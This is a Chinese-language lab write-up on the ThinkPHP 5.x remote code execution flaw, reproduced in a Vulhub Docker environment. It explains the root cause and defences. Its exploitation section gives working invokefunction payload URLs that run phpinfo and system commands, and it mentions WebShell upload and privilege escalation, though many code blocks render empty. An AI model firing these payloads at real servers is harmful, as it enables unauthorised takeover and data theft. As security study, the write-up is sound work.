ThinkPHP 5.x 远程代码执行漏洞(基于 Vulhub 环境)
深入剖析 ThinkPHP 5.x 远程代码执行漏洞(基于 Vulhub 环境)
一、漏洞背景简介 🔍
ThinkPHP 是一个轻量且易用的 PHP 开发框架,广泛应用于 Web 开发。然而,在 ThinkPHP 5.0.x 至 5.0.23 版本中,由于框架对动态函数调用(如 invokeFunction)的访问控制不严格,存在严重的 远程代码执行(RCE)漏洞。攻击者可通过精心构造的 URL 参数,调用任意 PHP 函数(如 phpinfo 或 system),实现远程执行任意代码或系统命令,危害极大。
本文基于 Vulhub 靶场环境,详细讲解该漏洞的原理、环境搭建、利用过程及防御措施,旨在帮助安全从业者和开发者深入理解并防范此类漏洞。
二、漏洞环境搭建
为了复现 ThinkPHP 5.x RCE 漏洞,我们使用 Vulhub 提供的靶场环境,结合 Docker 和 Kali Linux 进行搭建。以下是详细步骤:
1. 基础环境
- 操作系统:Kali Linux(推荐使用虚拟机)
- 工具:已安装 Docker 和 Docker Compose
- 网络模式:
- NAT(用于访问外部网络)
- 仅主机模式(Host-Only,Kali IP:
192.168.56.102)
- 硬件要求:建议 4GB 内存,2 核 CPU
2. 获取 Vulhub 项目
Vulhub 是一个开源的漏洞靶场集合,包含 ThinkPHP 5.x RCE 环境。执行以下命令:
1 | |
3. 启动漏洞环境
在 vulhub/thinkphp/5-rce 目录下,运行以下命令启动 Docker 容器:
1 | |
启动后,访问以下地址:
1 | |
若看到 ThinkPHP V5 的欢迎页面,说明环境部署成功
4. 容器管理操作
查看运行中的容器:
1 | |
示例输出:
1 | |
停止指定容器:
1 | |
一键停止并移除容器及网络:
1 | |
三、漏洞原理解析
漏洞成因
ThinkPHP 5.x 的控制器路由机制允许通过 URL 参数动态调用框架内部函数(如 \think\app::invokeFunction)。在 5.0.23 及以下版本中,框架未对这些调用进行严格的权限校验,导致攻击者可以通过构造特定参数,调用任意 PHP 函数(如 call_user_func_array),并传递函数名和参数,从而触发远程代码执行。
核心问题
- 动态函数调用:
call_user_func_array允许动态调用任意 PHP 函数(如phpinfo、system等)。 - 参数未过滤:用户输入的
vars[0](函数名)和vars[1][](函数参数)直接传递到函数执行器,未经严格验证。 - 路由暴露:通过
s=/Index/\think\app/invokefunction,攻击者可直接访问框架核心类。
漏洞危害
- 执行任意 PHP 代码
- 运行系统命令,获取权限
- 上传 WebShell,长期控制服务器
- 窃取配置文件、数据库信息
- 删除文件或修改系统配置
四、漏洞利用演示
以下展示如何利用 ThinkPHP 5.x RCE 漏洞,基于 Vulhub 靶场环境。
1. 测试 PHP 函数调用
访问以下 Payload:
1 | |
参数解析:
s=/Index/\think\app/invokefunction:指定路由function=call_user_func_array:调用函数vars[0]=phpinfo:目标函数vars[1][]=1:参数(执行 phpinfo(1))
结果:
页面显示 phpinfo 配置信息,说明漏洞存在
2. 执行系统命令
执行 whoami:
1 | |
结果示例:
1 | |
表示系统命令执行成功。
其他命令测试:
查看用户 ID:
1
http://192.168.56.102:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id列出目录:
1
http://192.168.56.102:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/查看网络配置:
1
http://192.168.56.102:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ifconfig
3. 使用 Curl 测试
1 | |
注意:URL 中的
\要写成\\
4. 使用 Burp Suite 测试
- 在浏览器中访问目标页面,拦截请求
- 将 Payload 粘贴进 Repeater 中测试
- 修改
vars[1][]的值如id、ls等
五、Payload 结构总结
| 参数键 | 功能说明 |
|---|---|
s |
请求路由,指向 ThinkPHP 核心类 |
function |
要调用的 PHP 函数(如 call_user_func_array) |
vars[0] |
执行的函数名称(如 phpinfo, system) |
vars[1][] |
函数的参数数组(如 whoami, id) |
六、防御措施
升级 ThinkPHP 版本
升级至 ThinkPHP 5.0.24 或更高版本。
输入验证与过滤
- 白名单验证
s参数 - 禁用危险函数如
call_user_func_array - 严格过滤所有用户输入参数
- 白名单验证
禁用危险函数
在
php.ini中:1
disable_functions = eval,exec,system,passthru,shell_exec,proc_open,call_user_func_array最小权限原则
Web 服务运行用户不要使用
root,限制文件访问权限。部署 WAF
拦截请求中包含敏感函数或路径的攻击尝试。
安全审计与监控
定期扫描、日志审计,发现异常行为。
七、笔记总结
| 内容项 | 信息 |
|---|---|
| 漏洞类型 | RCE(远程代码执行) |
| 影响版本 | ThinkPHP 5.0.x 至 5.0.23 |
| 漏洞原因 | 动态函数调用缺乏授权校验 |
| 复现方式 | URL GET 请求构造 Payload |
| 环境工具 | Vulhub、Docker、Kali Linux |
八、附加玩法
自动化检测脚本
1 | |
上传 WebShell
1 | |
使用蚁剑连接:
1 | |
提权尝试
结合弱口令、提权漏洞等,可使用 Metasploit 等工具进一步入侵。
九、总结
ThinkPHP 5.x RCE 漏洞是一个典型的动态函数调用漏洞,利用简单但危害极大。通过 Vulhub 靶场,我们可以快速复现漏洞,深入理解其原理和利用方式。
开发者应及时升级框架版本,实施严格的输入验证和权限控制,部署 WAF 和监控机制,以降低漏洞被利用的风险。
希望本文能帮助读者更好地理解和防范 ThinkPHP RCE 漏洞,同时提升 Web 应用安全开发的意识!
⚠️ 免责声明
本文内容仅供网络安全学习和研究使用,请勿用于非法用途。任何个人或组织使用本文信息进行的违法活动,均与作者无关。读者应当遵守当地法律法规,在合法授权的环境下进行安全测试。